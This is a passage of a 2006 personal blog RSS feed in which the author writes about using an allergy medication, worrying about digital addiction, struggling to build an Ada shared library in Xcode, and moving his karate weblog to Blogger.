<p>I used to take a drug called <a href="http://www.schering-plough.com.au/spau/product/clarinase.jsp">Clarinase</a> whenever I was down with Sinus or nose allergy. Anyone of these could make my day and Clarinase had been effective on me to reduce my symptoms.</p>
<p>Of course, I don&#8217;t simply take any medication. I like to learn about any medical condition before or after seeing a doctor.</p>
<p>I hope I will not become <a href="http://en.wikipedia.org/wiki/Psychosomatic">psychosomatic</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/07/11/am-i-cyberchondria/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Digital addiction</title>
		<link>http://adrianhoe.com/adrianhoe/2006/07/10/digital-addiction/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/07/10/digital-addiction/#comments</comments>
		<pubDate>Mon, 10 Jul 2006 07:45:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=19</guid>
		<description><![CDATA[Working as a software developer for more than 15 years has cultivated my dependency on computers for sure, especially the Internet for the past 3 years after I installed broadband access at my home. I have developed special skills of doing research on Internet. At the begining of 2006, I have used the Internet to [...]]]></description>
			<content:encoded><![CDATA[<p>Working as a software developer for more than 15 years has cultivated my dependency on computers for sure, especially the Internet for the past 3 years after I installed broadband access at my home. I have developed special skills of doing research on Internet.</p>
<p>At the begining of 2006, I have used the Internet to track down a person with some (but very little) Internet existence. The result was remarkable and led me to <a href="http://seibukan.org.my/">Seibukan Malaysia.</a></p>
<p>My recent exposure to feature-rich blogger has opened up a new experience window in my digital life. I have noticed a very significant change in the way I observe people, things and events surrounding me every passing minutes.</p>
<p>Psychologically, I am aware of such addiction but I am not suggesting that I am addicted to blogging. My anima is aware of such changes and I personally think the psychological impact of blogging is worth noting.</p>
<p>We have read a lot about teenagers addicted to gaming. Some has gone way too far by committing suicide or shut themselves off from normal social activities.</p>
<p>Is this the first sign of computers conquering humans?</p>
<p>How do silicon chips make such psychological bonding with carbon life forms?</p>
<p>I have been putting some efforts to not depending so much of computers. I am also trying to expose my children to nature as much they can. Is this effort enough?</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/07/10/digital-addiction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solution for building dynamic shared Ada library with Xcode</title>
		<link>http://adrianhoe.com/adrianhoe/2006/07/09/solution-for-building-dynamic-shared-ada-library-with-xcode/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/07/09/solution-for-building-dynamic-shared-ada-library-with-xcode/#comments</comments>
		<pubDate>Sun, 09 Jul 2006 14:51:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[gnat]]></category>
		<category><![CDATA[Xcode]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=13</guid>
		<description><![CDATA[Finally, I got some answer from the mailing list. It is a problem with Xcode 2.2 and gcc 3.3 and it seems like an update to Xcode 2.3 and gcc/gnat 4.2 is inevitable. gcc/gnat 4.2 compiler Xcode-Ada plugin The reason I am skeptical about software update is that I have a number of on going [...]]]></description>
			<content:encoded><![CDATA[<p>Finally, I got some answer from the mailing list. It is a problem with Xcode 2.2 and gcc 3.3 and it seems like an update to Xcode 2.3 and gcc/gnat 4.2 is inevitable.</p>
<ul>
<li><a href="http://homepage.mac.com/awreynolds">gcc/gnat 4.2 compiler</a></li>
<li><a href="http://maxao.free.fr/xcode-ada-plugin/">Xcode-Ada plugin</a></li>
</ul>
<p>The reason I am skeptical about software update is that I have a number of on going development. A simple tiny glitch in the new update will cause big havoc especially after all the recompilation of source codes.</p>
<p>Anyhow, I am glad to hear the solution and I will update my development tools soon after I have made a few confirmation.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/07/09/solution-for-building-dynamic-shared-ada-library-with-xcode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Argh! I&#8217;m banging my head on the keyboard</title>
		<link>http://adrianhoe.com/adrianhoe/2006/07/09/argh-im-banging-my-head-on-the-keyboard/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/07/09/argh-im-banging-my-head-on-the-keyboard/#comments</comments>
		<pubDate>Sun, 09 Jul 2006 07:42:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=12</guid>
		<description><![CDATA[A week has passed by since I took up a project to develop web applications with Ada. One of the major obstacle that is preventing me from moving further is the problem of making a dynamic shared library using Apple&#8217;s Xcode 2.2 with gcc/gnat 3.3. There is no project option of making an Ada dynamic [...]]]></description>
			<content:encoded><![CDATA[<p>A week has passed by since I took up a project to develop web applications with Ada. One of the major obstacle that is preventing me from moving further is the problem of making a dynamic shared library using Apple&#8217;s Xcode 2.2 with gcc/gnat 3.3.</p>
<p>There is no project option of making an Ada dynamic library in Xcode. So I chose <em>BSD Dynamic Library with C</em> and added Ada source files into the build source.</p>
<p>Everytime I hit the build button, it gives me &#8220;Build succeeded with 2 warnings.&#8221; The warning message says &#8220;warning: no rule to process &#8216;$(PROJECT_DIR)/cgi.adb&#8217;&#8221;</p>
<p>I am exhausted with this problem and I think I shall leave it behind for a moment before I continue with the development.</p>
<p>Any takers?</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/07/09/argh-im-banging-my-head-on-the-keyboard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I ditched my blogger</title>
		<link>http://adrianhoe.com/adrianhoe/2006/07/08/i-ditched-my-blogger/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/07/08/i-ditched-my-blogger/#comments</comments>
		<pubDate>Sat, 08 Jul 2006 00:49:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=8</guid>
		<description><![CDATA[I developed a simple blogger for my karate weblog 2 months ago. It was a simple broken PHP script which had not much of attractive features but it served my purpose until I tried on Google&#8217;s Blogger.com. After some testing, I decided to ditch my blogger and moved my karate weblog to blogger.com and decided [...]]]></description>
			<content:encoded><![CDATA[<p>I developed a simple blogger for my <a href="http://adrianhoe.com/adrianhoe/karate/blog/">karate weblog</a> 2 months ago. It was a simple broken PHP script which had not much of attractive features but it served my purpose until I tried on Google&#8217;s Blogger.com.</p>
<p>After some testing, I decided to ditch my blogger and moved my <a href="http://adrianhoe.com/adrianhoe/karate/blog/">karate weblog</a> to blogger.com and decided to create my tech weblog.</p>
<p>So far so good and I am happy with it. Good bye my PHP blogger script.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/07/08/i-ditched-my-blogger/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

